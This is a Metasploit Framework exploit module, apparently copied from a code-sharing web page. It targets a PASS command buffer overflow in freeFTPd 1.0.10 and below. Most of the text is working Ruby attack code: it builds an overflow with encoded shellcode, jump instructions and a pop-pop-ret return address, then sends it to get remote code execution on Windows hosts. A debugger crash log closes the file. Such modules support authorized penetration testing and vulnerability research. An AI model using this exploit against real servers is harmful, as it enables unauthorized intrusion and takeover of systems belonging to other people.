扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Ftp def initialize(info={}) super(update_info(info, 'Name' => "freeFTPd PASS Command Buffer Overflow", 'Description'=> %q{ freeFTPd 1.0.10 and below contains an overflow condition that is triggered as user-supplied input is not properly validated when handling a specially crafted PASS command. This may allow a remote attacker to cause a buffer overflow, resulting in a denial of service or allow the execution of arbitrary code. FreeFTPd must have an account set to authorization anonymous user account. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Wireghoul', # Initial discovery, PoC 'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module ], 'References' => [ ['OSVDB', '96517'], ['EDB', '27747'], ['BID', '61905'] ], 'Payload'=> { 'BadChars' => "\x00\x0a\x0d", }, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Targets'=> [ ['freeFTPd 1.0.10 and below on Windows Desktop Version', { 'Ret'=> 0x004014bb, # pop edi # pop esi # ret 0x04 [FreeFTPDService.exe] 'Offset' => 801, } ], ], 'Privileged' => false, 'DisclosureDate' => "Aug 20 2013", 'DefaultTarget'=> 0)) register_options([ OptString.new('FTPUSER', [ true, 'The username to authenticate with', 'anonymous' ]), ], self.class) # We're triggering the bug via the PASS command, no point to have pass as configurable # option. deregister_options('FTPPASS') end def check connect disconnect # All versions including and above version 1.0 report "220 Hello, I'm freeFTPd 1.0" # when banner grabbing. if banner =~ /freeFTPd 1\.0/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def exploit connect print_status("Trying target #{target.name} with user #{user()}...") off = target['Offset'] - 9 bof = payload.encoded bof << rand_text(off - payload.encoded.length) bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string bof << rand_text(2) bof << [target.ret].pack('V') send_user(datastore['FTPUSER']) raw_send("PASS #{bof}\r\n") disconnect end end =begin (c78.ea4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0012b324 ebx=01805f28 ecx=00000019 edx=00000057 esi=4141413d edi=00181e18 eip=76c23e8d esp=0012b310 ebp=0012b328 iopl=0 nv up ei pl nz na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010206 OLEAUT32!SysFreeString+0x55: 76c23e8d ff36pushdword ptr [esi]ds:0023:4141413d=???????? FAULTING_IP: OLEAUT32!SysFreeString+55 76c23e8d ff36pushdword ptr [esi] EXCEPTION_RECORD:ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 76c23e8d (OLEAUT32!SysFreeString+0x00000055) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 4141413d Attempt to read from address 4141413d =end |
体验盒子
